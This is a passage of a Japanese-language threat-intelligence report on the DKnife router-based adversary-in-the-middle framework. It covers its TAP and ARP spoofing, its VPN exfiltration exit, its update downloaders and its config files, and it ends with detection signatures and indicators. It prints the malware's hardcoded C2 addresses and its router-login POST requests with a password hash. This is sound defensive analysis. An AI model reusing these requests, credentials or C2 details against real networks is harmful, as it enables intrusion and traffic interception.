DKnife は、Yitiji インターフェイスを指す URL(たとえば http://10.3.3.3:81/app/base.apk)を使用してバイナリダウンロードのリクエストに応答します。このようなリクエストを受信したら、dknife.bin コンポーネントがこの通信を、yitiji.bin がリスニングしている UDP ポート 555 に転送します。次にこのコンポーネントが、適切なリンク層のカプセル化、完全なイーサネット/IP/TCP フレーム(主として TCP と ICMP)の再構築、パケット長とチェックサムの修正を行い、それらを TAP インターフェイスへ注入します。その結果、カーネルは偽造された通信を正規の LAN 通信として扱うようになります。このメカニズムによって、DKnife はこのインターフェイスを介してバイナリのダウンロードリクエストを受信し、ペイロードを提供できるようになります。逆方向の場合、Yitiji は TAP から送信されるパケットをキャプチャして元の VLAN/PPPoE/4G ヘッダーを復元したうえで、IP と TCP のチェックサムを再計算して、構成ファイル /dksoft/conf/wxha.conf に指定された物理ネットワーク インターフェイスを介して送信します。さらに、ARP 応答を偽造するため、他のホストがこのインターフェイスを LAN 内のデバイスとして扱うようになります。

Yitiji は、このようにしてマルウェアの配信に使用する別の LAN を作成します。このアプローチによって、バイナリのダウンロードに対する AitM 攻撃を、IP の競合や検出を回避するステルス性の高い方法で行いやすくなります。

 

Remote.bin

このコンポーネントは、N2N ピアツーピア VPN のクライアントとして機能します。実行されると、「edge0」と名付けられた仮想ネットワークデバイスを作成し、P2P オーバーレイに接続します。その結果、ハードコーディングされたコミュニティ dknife への参加と、埋め込まれたスーパーノードへの登録が自動的に行われます。edge0 にルーティングされた通信はすべてカプセル化され、UDP を介してオーバーレイピアに転送されます。さらに、このバイナリは 5644 の管理 UDP ポートをバインドします。

このコンポーネントによって、ゲートウェイ自体がオーバーレイから到達可能になり、データ持ち出しの出口ポイントとして機能できるようになります。N2N_KEY 環境変数が用意されている場合、この実装は Twofish 暗号化をサポートします。しかしそのようなキーは、解析されたコードにも関連するファイルにも埋め込まれていませんでした。

 

Mmdown.bin

このバイナリはシンプルな Android APK マルウェアダウンローダーであると同時に、DKnife フレームワークの更新コンポーネントでもあります。ハードコーディングされた C2(http://47.93.54[.]134:8005)と通信して更新マニフェストを周期的に確認し、サーバーが指定するファイルをすべてダウンロードします。

スタートアップ時に一部のローカルディレクトリが存在することを確認し、UUID を生成するかファイル /etc/diankeuuid から読み取ったうえで、ダウンロードされたホストごとのマニフェストファイルにファイル名 <UUID>.mm を付けます。「.mm」ファイルには URL と MD5 のペアのリストが http://[URL]<TAB><16-byte MD5> のフォーマットで保存されています。マニフェストファイルをダウンロードした後、このファイルを解析して、プレーン HTTP を介した各 URL のダウンロードとダウンロードされたファイルの MD5 の検証を繰り返し試行します。これに成功したファイルをローカル Web コンテンツディレクトリ /dksoft/html/app/ にコピーします。取得に成功したファイルが 1 つ以上ある場合、マニフェストを /dksoft/conf/<UUID>.mm にアーカイブして MD5 の内部ブックキーピングを更新することで、同一ファイルを重複してダウンロードしないようにします。

 

Dkupdate.bin

このバイナリは、DKnife のダウンロード、展開、更新のコンポーネントとして機能します。最初に発見されたダウンローダーと類似していますが、機能が追加されています。C2 サーバーから更新アーカイブ update_bin.tar.gz を取得し(埋め込まれた異なるデフォルト URL:http://117.175.185[.]81:8003/ を使用)、eth5to2.bin と呼ばれる別のバイナリ(ダウンロードされたアーカイブには含まれていない、おそらくは通信の転送を目的としたもの)を起動します。さらに、Nginx を開始して Web サーバーを稼働させることで、HTTP/HTTPS 応答を操作するハイジャックコンポーネントを提供します。

 

ネットワークデバイス情報の取得

DKnife は、dknife.binpostapi.bin の両方のコンポーネントで、ルータ管理用と思われる 192.168.92.92:8080 のインターフェイスにログインしようとします。これには、ネットワークユーザーと PPPoE の情報を取得する以下の POST リクエストが使用されます。ログインとデバイス情報取得の POST リクエストは、いずれも認証のためにパスワード MD5(q1w2e3r4 の MD5)を送信しました。ログインに成功すると、サーバーはデバイスシリアル番号(SN)と現在登録中のユーザー数で応答します。この数がゼロでなければ、インプラントは MAC と PPPoE ID をマッピングするリストをリクエストします。

 

POST /login HTTP/1.1

Host: 192.168.92.92:8080

Content-Type: application/json

Content-Length: 38

{“passwdMD5″:”c62d929e7b7e7b6165923a5dfc60cb56”}

POST /fe-device-info HTTP/1.1

Host: 192.168.92.92:8080

User-Agent: Mozilla/5.0

Cookie: feWebSession={“sessionId”:****}

Content-Length: 48

{“passwdMD5″:”c62d929e7b7e7b6165923a5dfc60cb56”}

POST /user HTTP/1.1

Host: 192.168.92.92:8080

User-Agent: Mozilla/5.0

Cookie: feWebSession={“sessionId”:}

Content-Type: application/json

Content-Length: 15

{“index”:”all”}

 

図 27. 管理インターフェイスからのセッション ID 応答を解析するコード

 

まとめ

高度な標的型攻撃では、依然としてルータとエッジデバイスが第一のターゲットとなっています。攻撃者がこのインフラストラクチャを侵害する試みを強化していくにつれて、彼らが使用するツールと TTP を理解することが不可欠となっています。DKnife フレームワークの発見によって、ディープ パケット インスペクション、通信に対する操作、広範なタイプのデバイスを対象にカスタマイズされたマルウェア配信が一体化された、現在の AitM の脅威が持つ高度な機能が浮き彫りになりました。全体的に見れば、証拠から推察されるように、AitM フレームワークとバックドアのツールチェーンは高度に統合され進化を続けています。これは、ルータとエッジのインフラストラクチャに対する継続的な可視化と監視の必要性を裏付けるものです。

 


 

付録

 

構成ファイル

構成ファイル デフォルト
アーカイブ内
説明
/dksoft/conf/wxha.conf あり 攻撃とスニッフィングのインターフェイス、出力環境、QQ プロキシホストに関する設定
/dksoft/conf/rules.aes

/dksoft/conf/rules.conf

HTTP(S) 通信ハイジャックのルールブック
 /dksoft/conf/dns.conf DNS ハイジャックのマッピングに関する設定
/dksoft/conf/url.cfg あり 通信ブロッキング、Android と Windows のフィッシング、実行ファイル(.exe)の置き換え、ログイン情報を窃取するページとスクリプトに関する設定
/dksoft/conf/server.conf C2 設定
/dksoft/conf/adsl.conf ADSL 関連ルールに関する設定
/dksoft/conf/userid.conf ターゲットの通信から収集するユーザー情報を定義する設定
/dksoft/conf/appdns.conf ドメイン名を特定のアプリにマッピングする設定
/dksoft/conf/browser.conf ユーザーエージェントをブラウザにマッピングする設定
/dksoft/conf/perdns.conf あり 制御に必要なより具体的な引数を規定する DNS ハイジャックのマッピング設定
/dksoft/conf/target.conf ターゲットに関する設定。運用者が使用する加入者識別子(MAC または PPPoE)のウォッチリスト
/dksoft/conf/target_mac.conf ターゲットリストのシャドウファイル
/dksoft/conf/ssluserid.conf postapi.bin によって読み込まれるが、デフォルトではアーカイブ内にない。通信のスニッフィングとデータ持ち出しのプレイブック
/dksoft/conf/appname.conf アプリの通信を C2 に送信するかハイジャック/リダイレクトロジックで使用する前に、この通信を分類してリッチコンテンツを添付するようインプラントに指示する設定
/dksoft/conf/retry.conf 再試行する通信の種類を定義するルール
/dksoft/conf/black.conf あり 通信のブロッキングに使用する構成ファイル
/dksoft/conf/white.conf 通信の承認に使用する構成ファイル
/dksoft/conf/datacenter.conf postAPI モジュールで使用する URL & IP の UUID のマッピング
/dksoft/conf/sslmm.cfg sslmm HAproxy モジュールに関する設定
/dksoft/conf/hosts ルールのトリガーに使用する DNS リスト

 

証明書

Fingerprint=78:47:E0:0E:9C:0A:60:80:A6:48:CE:97:7F:30:63:7E:8A:D5:22:97:EA:10:8E:5F:CB:E9:87:48:49:BC:A5:47

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number:

            c7:d6:08:d3:74:d1:a8:0e

        Signature Algorithm: sha256WithRSAEncryption

Issuer: C=CN, ST=beijing, L=beijng, O=BEIJING JINGDONG SHANKE, OU=BEIJING JINGDONG SHANKE, CN=*.jd.com

        Validity

            Not Before: Jan  9 01:38:16 2020 GMT

            Not After : Jan  4 01:38:16 2040 GMT

Subject: C=CN, ST=beijing, L=beijing, O=BEIJING JINGDONG SHANKE, OU=BEIJING JINGDONG SHANKE, CN=*.jd.com

        Subject Public Key Info:

            Public Key Algorithm: rsaEncryption

Fingerprint=80:BC:19:8B:A9:E9:0E:62:50:4B:21:EC:69:2F:87:30:3B:7D:75:E7:A8:95:06:D3:0B:FA:52:18:57:23:3D:72

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number:

            c0:5d:fd:b4:4c:28:07:72

        Signature Algorithm: sha256WithRSAEncryption

        Issuer: C=CN, ST=Sichuan, L=Chengdu, O=Default Company Ltd

        Validity

            Not Before: Sep 20 06:43:37 2018 GMT

            Not After : Aug 27 06:43:37 2118 GMT

        Subject: C=CN, ST=Sichuan, L=Chengdu, O=Default Company Ltd

        Subject Public Key Info:

            Public Key Algorithm: rsaEncryption

 

対応策

以下の ClamAV シグネチャを使用すると、この脅威の検出とブロッキングが可能です。

  • Win.Trojan.Shadowpad-10010830-1
  • Win.Loader.WizardNet-10044819-0
  • Win.Trojan.DarkNimbus-10059255-0
  • Win.Trojan.DKnife-10059257-0
  • Unix.Trojan.DKnife-10059259-0
  • Win.Trojan.DKnife-10059260-0

以下の Snort ルールがこの脅威に対応しています。

  • Snort 2 – 65533
  • Snort 3 – 65533

侵害指標(IOC)

この調査の IOC は、こちらの GitHub リポジトリでも提供しています。

 

 

 

コメントを書く